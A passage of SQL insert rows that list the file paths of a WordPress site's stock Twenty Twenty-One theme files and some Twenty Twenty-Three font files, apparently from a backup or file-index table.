(1394,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/04-elements/blockquote.scss','wp-content/themes/twentytwentyone/assets/sass/04-elements/blockquote.scss'),
(1395,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/04-elements/forms-editor.scss','wp-content/themes/twentytwentyone/assets/sass/04-elements/forms-editor.scss'),
(1396,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/04-elements/forms.scss','wp-content/themes/twentytwentyone/assets/sass/04-elements/forms.scss'),
(1397,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/04-elements/links.scss','wp-content/themes/twentytwentyone/assets/sass/04-elements/links.scss'),
(1398,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/04-elements/media.scss','wp-content/themes/twentytwentyone/assets/sass/04-elements/media.scss'),
(1399,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/04-elements/misc.scss','wp-content/themes/twentytwentyone/assets/sass/04-elements/misc.scss'),
(1400,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/_config.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/_config.scss'),
(1401,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/audio/_style.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/audio/_style.scss'),
(1402,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/blocks-editor.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/blocks-editor.scss'),
(1403,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/blocks.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/blocks.scss'),
(1404,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/button/_editor.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/button/_editor.scss'),
(1405,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/button/_style.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/button/_style.scss'),
(1406,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/code/_editor.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/code/_editor.scss'),
(1407,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/code/_style.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/code/_style.scss'),
(1408,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/columns/_editor.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/columns/_editor.scss'),
(1409,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/columns/_style.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/columns/_style.scss'),
(1410,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/cover/_editor.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/cover/_editor.scss'),
(1411,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/cover/_style.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/cover/_style.scss'),
(1412,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/file/_editor.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/file/_editor.scss'),
(1413,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/file/_style.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/file/_style.scss'),
(1414,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/gallery/_editor.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/gallery/_editor.scss'),
(1415,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/gallery/_style.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/gallery/_style.scss'),
(1416,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/group/_editor.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/group/_editor.scss'),
(1417,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/group/_style.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/group/_style.scss'),
(1418,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/heading/_editor.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/heading/_editor.scss'),
(1419,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/heading/_style.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/heading/_style.scss'),
(1420,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/html/_editor.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/html/_editor.scss'),
(1421,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/image/_editor.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/image/_editor.scss'),
(1422,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/image/_style.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/image/_style.scss'),
(1423,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/latest-comments/_editor.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/latest-comments/_editor.scss'),
(1424,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/latest-comments/_style.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/latest-comments/_style.scss'),
(1425,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/latest-posts/_editor.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/latest-posts/_editor.scss'),
(1426,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/latest-posts/_style.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/latest-posts/_style.scss'),
(1427,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/legacy/_editor.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/legacy/_editor.scss'),
(1428,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/legacy/_style.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/legacy/_style.scss'),
(1429,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/list/_editor.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/list/_editor.scss'),
(1430,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/list/_style.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/list/_style.scss'),
(1431,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/media-text/_editor.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/media-text/_editor.scss'),
(1432,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/media-text/_style.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/media-text/_style.scss'),
(1433,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/navigation/_editor.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/navigation/_editor.scss'),
(1434,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/navigation/_style.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/navigation/_style.scss'),
(1435,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/paragraph/_editor.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/paragraph/_editor.scss'),
(1436,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/paragraph/_style.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/paragraph/_style.scss'),
(1437,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/preformatted/_editor.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/preformatted/_editor.scss'),
(1438,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/preformatted/_style.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/preformatted/_style.scss'),
(1439,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/pullquote/_editor.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/pullquote/_editor.scss'),
(1440,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/pullquote/_style.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/pullquote/_style.scss'),
(1441,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/query-loop/_editor.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/query-loop/_editor.scss'),
(1442,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/query-loop/_style.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/query-loop/_style.scss'),
(1443,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/quote/_editor.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/quote/_editor.scss'),
(1444,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/quote/_style.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/quote/_style.scss'),
(1445,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/rss/_editor.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/rss/_editor.scss'),
(1446,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/rss/_style.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/rss/_style.scss'),
(1447,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/search/_editor.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/search/_editor.scss'),
(1448,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/search/_style.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/search/_style.scss'),
(1449,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/separator/_editor.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/separator/_editor.scss'),
(1450,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/separator/_style.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/separator/_style.scss'),
(1451,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/social-icons/_editor.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/social-icons/_editor.scss'),
(1452,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/social-icons/_style.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/social-icons/_style.scss'),
(1453,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/table/_editor.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/table/_editor.scss'),
(1454,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/table/_style.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/table/_style.scss'),
(1455,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/tag-clould/_editor.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/tag-clould/_editor.scss'),
(1456,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/tag-clould/_style.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/tag-clould/_style.scss'),
(1457,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/utilities/_editor.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/utilities/_editor.scss'),
(1458,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/utilities/_font-sizes.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/utilities/_font-sizes.scss'),
(1459,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/utilities/_style.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/utilities/_style.scss'),
(1460,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/verse/_editor.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/verse/_editor.scss'),
(1461,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/verse/_style.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/verse/_style.scss'),
(1462,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/video/_style.scss','wp-content/themes/twentytwentyone/assets/sass/05-blocks/video/_style.scss'),
(1463,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/06-components/404.scss','wp-content/themes/twentytwentyone/assets/sass/06-components/404.scss'),
(1464,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/06-components/archives.scss','wp-content/themes/twentytwentyone/assets/sass/06-components/archives.scss'),
(1465,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/06-components/comments.scss','wp-content/themes/twentytwentyone/assets/sass/06-components/comments.scss'),
(1466,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/06-components/editor.scss','wp-content/themes/twentytwentyone/assets/sass/06-components/editor.scss'),
(1467,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/06-components/entry.scss','wp-content/themes/twentytwentyone/assets/sass/06-components/entry.scss'),
(1468,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/06-components/footer-navigation.scss','wp-content/themes/twentytwentyone/assets/sass/06-components/footer-navigation.scss'),
(1469,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/06-components/footer.scss','wp-content/themes/twentytwentyone/assets/sass/06-components/footer.scss'),
(1470,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/06-components/header.scss','wp-content/themes/twentytwentyone/assets/sass/06-components/header.scss'),
(1471,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/06-components/navigation.scss','wp-content/themes/twentytwentyone/assets/sass/06-components/navigation.scss'),
(1472,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/06-components/pagination.scss','wp-content/themes/twentytwentyone/assets/sass/06-components/pagination.scss'),
(1473,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/06-components/posts-and-pages.scss','wp-content/themes/twentytwentyone/assets/sass/06-components/posts-and-pages.scss'),
(1474,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/06-components/search.scss','wp-content/themes/twentytwentyone/assets/sass/06-components/search.scss'),
(1475,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/06-components/single.scss','wp-content/themes/twentytwentyone/assets/sass/06-components/single.scss'),
(1476,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/06-components/widgets.scss','wp-content/themes/twentytwentyone/assets/sass/06-components/widgets.scss'),
(1477,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/07-utilities/a11y.scss','wp-content/themes/twentytwentyone/assets/sass/07-utilities/a11y.scss'),
(1478,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/07-utilities/color-palette.scss','wp-content/themes/twentytwentyone/assets/sass/07-utilities/color-palette.scss'),
(1479,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/07-utilities/ie.scss','wp-content/themes/twentytwentyone/assets/sass/07-utilities/ie.scss'),
(1480,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/07-utilities/measure.scss','wp-content/themes/twentytwentyone/assets/sass/07-utilities/measure.scss'),
(1481,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/07-utilities/print.scss','wp-content/themes/twentytwentyone/assets/sass/07-utilities/print.scss'),
(1482,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/style-dark-mode.scss','wp-content/themes/twentytwentyone/assets/sass/style-dark-mode.scss'),
(1483,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/style-editor.scss','wp-content/themes/twentytwentyone/assets/sass/style-editor.scss'),
(1484,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/style.scss','wp-content/themes/twentytwentyone/assets/sass/style.scss'),
(1485,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/classes/class-twenty-twenty-one-custom-colors.php','wp-content/themes/twentytwentyone/classes/class-twenty-twenty-one-custom-colors.php'),
(1486,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/classes/class-twenty-twenty-one-customize-color-control.php','wp-content/themes/twentytwentyone/classes/class-twenty-twenty-one-customize-color-control.php'),
(1487,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/classes/class-twenty-twenty-one-customize-notice-control.php','wp-content/themes/twentytwentyone/classes/class-twenty-twenty-one-customize-notice-control.php'),
(1488,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/classes/class-twenty-twenty-one-customize.php','wp-content/themes/twentytwentyone/classes/class-twenty-twenty-one-customize.php'),
(1489,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/classes/class-twenty-twenty-one-dark-mode.php','wp-content/themes/twentytwentyone/classes/class-twenty-twenty-one-dark-mode.php'),
(1490,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/classes/class-twenty-twenty-one-svg-icons.php','wp-content/themes/twentytwentyone/classes/class-twenty-twenty-one-svg-icons.php'),
(1491,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/comments.php','wp-content/themes/twentytwentyone/comments.php'),
(1492,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/footer.php','wp-content/themes/twentytwentyone/footer.php'),
(1493,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/functions.php','wp-content/themes/twentytwentyone/functions.php'),
(1494,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/header.php','wp-content/themes/twentytwentyone/header.php'),
(1495,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/image.php','wp-content/themes/twentytwentyone/image.php'),
(1496,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/inc/back-compat.php','wp-content/themes/twentytwentyone/inc/back-compat.php'),
(1497,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/inc/block-patterns.php','wp-content/themes/twentytwentyone/inc/block-patterns.php'),
(1498,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/inc/block-styles.php','wp-content/themes/twentytwentyone/inc/block-styles.php'),
(1499,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/inc/custom-css.php','wp-content/themes/twentytwentyone/inc/custom-css.php'),
(1500,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/inc/menu-functions.php','wp-content/themes/twentytwentyone/inc/menu-functions.php'),
(1501,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/inc/starter-content.php','wp-content/themes/twentytwentyone/inc/starter-content.php'),
(1502,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/inc/template-functions.php','wp-content/themes/twentytwentyone/inc/template-functions.php'),
(1503,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/inc/template-tags.php','wp-content/themes/twentytwentyone/inc/template-tags.php'),
(1504,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/index.php','wp-content/themes/twentytwentyone/index.php'),
(1505,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/package-lock.json','wp-content/themes/twentytwentyone/package-lock.json'),
(1506,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/package.json','wp-content/themes/twentytwentyone/package.json'),
(1507,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/page.php','wp-content/themes/twentytwentyone/page.php'),
(1508,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/postcss.config.js','wp-content/themes/twentytwentyone/postcss.config.js'),
(1509,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/readme.txt','wp-content/themes/twentytwentyone/readme.txt'),
(1510,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/screenshot.png','wp-content/themes/twentytwentyone/screenshot.png'),
(1511,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/search.php','wp-content/themes/twentytwentyone/search.php'),
(1512,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/searchform.php','wp-content/themes/twentytwentyone/searchform.php'),
(1513,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/single.php','wp-content/themes/twentytwentyone/single.php'),
(1514,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/style-rtl.css','wp-content/themes/twentytwentyone/style-rtl.css'),
(1515,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/style.css','wp-content/themes/twentytwentyone/style.css'),
(1516,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/style.css.map','wp-content/themes/twentytwentyone/style.css.map'),
(1517,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/template-parts/content/content-excerpt.php','wp-content/themes/twentytwentyone/template-parts/content/content-excerpt.php'),
(1518,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/template-parts/content/content-none.php','wp-content/themes/twentytwentyone/template-parts/content/content-none.php'),
(1519,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/template-parts/content/content-page.php','wp-content/themes/twentytwentyone/template-parts/content/content-page.php'),
(1520,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/template-parts/content/content-single.php','wp-content/themes/twentytwentyone/template-parts/content/content-single.php'),
(1521,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/template-parts/content/content.php','wp-content/themes/twentytwentyone/template-parts/content/content.php'),
(1522,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/template-parts/excerpt/excerpt-aside.php','wp-content/themes/twentytwentyone/template-parts/excerpt/excerpt-aside.php'),
(1523,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/template-parts/excerpt/excerpt-audio.php','wp-content/themes/twentytwentyone/template-parts/excerpt/excerpt-audio.php'),
(1524,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/template-parts/excerpt/excerpt-chat.php','wp-content/themes/twentytwentyone/template-parts/excerpt/excerpt-chat.php'),
(1525,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/template-parts/excerpt/excerpt-gallery.php','wp-content/themes/twentytwentyone/template-parts/excerpt/excerpt-gallery.php'),
(1526,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/template-parts/excerpt/excerpt-image.php','wp-content/themes/twentytwentyone/template-parts/excerpt/excerpt-image.php'),
(1527,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/template-parts/excerpt/excerpt-link.php','wp-content/themes/twentytwentyone/template-parts/excerpt/excerpt-link.php'),
(1528,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/template-parts/excerpt/excerpt-quote.php','wp-content/themes/twentytwentyone/template-parts/excerpt/excerpt-quote.php'),
(1529,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/template-parts/excerpt/excerpt-status.php','wp-content/themes/twentytwentyone/template-parts/excerpt/excerpt-status.php'),
(1530,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/template-parts/excerpt/excerpt-video.php','wp-content/themes/twentytwentyone/template-parts/excerpt/excerpt-video.php'),
(1531,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/template-parts/excerpt/excerpt.php','wp-content/themes/twentytwentyone/template-parts/excerpt/excerpt.php'),
(1532,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/template-parts/footer/footer-widgets.php','wp-content/themes/twentytwentyone/template-parts/footer/footer-widgets.php'),
(1533,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/template-parts/header/entry-header.php','wp-content/themes/twentytwentyone/template-parts/header/entry-header.php'),
(1534,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/template-parts/header/excerpt-header.php','wp-content/themes/twentytwentyone/template-parts/header/excerpt-header.php'),
(1535,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/template-parts/header/site-branding.php','wp-content/themes/twentytwentyone/template-parts/header/site-branding.php'),
(1536,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/template-parts/header/site-header.php','wp-content/themes/twentytwentyone/template-parts/header/site-header.php'),
(1537,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/template-parts/header/site-nav.php','wp-content/themes/twentytwentyone/template-parts/header/site-nav.php'),
(1538,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/template-parts/post/author-bio.php','wp-content/themes/twentytwentyone/template-parts/post/author-bio.php'),
(1539,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/assets/fonts/dm-sans/DMSans-Bold-Italic.woff2','wp-content/themes/twentytwentythree/assets/fonts/dm-sans/DMSans-Bold-Italic.woff2'),
(1540,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/assets/fonts/dm-sans/DMSans-Bold.woff2','wp-content/themes/twentytwentythree/assets/fonts/dm-sans/DMSans-Bold.woff2'),
(1541,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/assets/fonts/dm-sans/DMSans-Regular-Italic.woff2','wp-content/themes/twentytwentythree/assets/fonts/dm-sans/DMSans-Regular-Italic.woff2'),
(1542,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/assets/fonts/dm-sans/DMSans-Regular.woff2','wp-content/themes/twentytwentythree/assets/fonts/dm-sans/DMSans-Regular.woff2'),
(1543,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/assets/fonts/dm-sans/LICENSE.txt','wp-content/themes/twentytwentythree/assets/fonts/dm-sans/LICENSE.txt'),
(1544,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/assets/fonts/ibm-plex-mono/IBMPlexMono-Bold.woff2','wp-content/themes/twentytwentythree/assets/fonts/ibm-plex-mono/IBMPlexMono-Bold.woff2'),
(1545,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/assets/fonts/ibm-plex-mono/IBMPlexMono-Italic.woff2','wp-content/themes/twentytwentythree/assets/fonts/ibm-plex-mono/IBMPlexMono-Italic.woff2'),
(1546,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/assets/fonts/ibm-plex-mono/IBMPlexMono-Light.woff2','wp-content/themes/twentytwentythree/assets/fonts/ibm-plex-mono/IBMPlexMono-Light.woff2'),
(1547,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/assets/fonts/ibm-plex-mono/IBMPlexMono-Regular.woff2','wp-content/themes/twentytwentythree/assets/fonts/ibm-plex-mono/IBMPlexMono-Regular.woff2'),
(1548,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/assets/fonts/ibm-plex-mono/OFL.txt','wp-content/themes/twentytwentythree/assets/fonts/ibm-plex-mono/OFL.txt'),
(1549,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/assets/fonts/inter/Inter-VariableFont_slnt,wght.ttf','wp-content/themes/twentytwentythree/assets/fonts/inter/Inter-VariableFont_slnt,wght.ttf'),
(1550,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/assets/fonts/inter/LICENSE.txt','wp-content/themes/twentytwentythree/assets/fonts/inter/LICENSE.txt'),
(1551,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/assets/fonts/source-serif-pro/LICENSE.md','wp-content/themes/twentytwentythree/assets/fonts/source-serif-pro/LICENSE.md'),
(1552,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/assets/fonts/source-serif-pro/SourceSerif4Variable-Italic.otf.woff2','wp-content/themes/twentytwentythree/assets/fonts/source-serif-pro/SourceSerif4Variable-Italic.otf.woff2'),
(1553,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/assets/fonts/source-serif-pro/SourceSerif4Variable-Italic.ttf.woff2','wp-content/themes/twentytwentythree/assets/fonts/source-serif-pro/SourceSerif4Variable-Italic.ttf.woff2'),
